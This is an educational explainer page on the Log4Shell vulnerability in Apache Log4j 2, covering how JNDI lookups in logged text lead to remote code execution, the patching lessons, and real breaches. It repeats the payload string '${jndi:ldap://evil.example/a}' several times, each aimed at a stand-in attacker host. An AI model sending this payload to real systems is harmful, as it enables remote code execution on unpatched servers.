Digital Defenders

Famous vulnerabilities · 12

Log4Shell (CVE-2021-44228)

When writing a log line was enough to run someone else's code.

  • CVE CVE-2021-44228
  • CVSS 10.0
  • Disclosed Dec 2021
  • Component Apache Log4j 2
  • KEV Yes
AttackerVulnerable applogs with Log4j 2.xAttacker's serverLDAP + HTTP1User-Agent: ${jndi:ldap://evil.example/a}2Log4j sees ${…} in the logline and does a JNDI lookup3connects out to evil.example4points to attacker's Java class5Class loaded & run → RCEAnything that gets loggedcan carry the payload:headers, usernames,chat messages…
1 · Attacker sends a requestUser-Agent:${jndi:ldap://evil.example/a}2 · App logs it with Log4jLog4j sees ${…} and does a JNDI lookup3 · App connects outto the attacker's LDAP server4 · Server repliespointing to attacker's Java code5 · Code loaded & run → RCEAnything logged can carry it: headers,usernames, chat
Diagram: Log4Shell

Log4Shell was a remote-code-execution flaw in Apache Log4j 2, a Java logging library used inside a huge number of products. Log4j supported “lookups”: special text like ${jndi:ldap://evil.example/a} inside a log message made the library contact that address, and on many setups the reply could make the application load and run Java code supplied by the attacker.

It was so dangerous because applications log user input everywhere: HTTP headers, usernames, search boxes, chat messages. An attacker did not need to log in, only to get a string into a log line. Log4j was often buried deep inside other software as a dependency of a dependency, so many teams did not know they were running it at all.

The fix was to upgrade Log4j (several releases followed as the first patches proved incomplete) and to ship vendor patches for products that bundle it. The lesson stays relevant: know what is in your software (an SBOM helps) and patch libraries, not just headline products. Real attacks followed fast: within two weeks Belgium's defence ministry said attackers had got in through Log4j, and in 2022 CISA reported Iranian state actors entering a US federal agency through an unpatched VMware Horizon server.

Real-world examples

CISA AA22-320A: federal network breached via Log4ShellIranian government-sponsored actors exploited an unpatched VMware Horizon server, deployed a crypto miner and moved to the domain controller.cisa.gov ↗ Belgian defence ministry hit through Log4j (Dec 2021)The ministry confirmed attackers exploited Log4j; parts of its network were disrupted for days.govinfosecurity.com ↗
Sources

Updated on 12 Nov 2026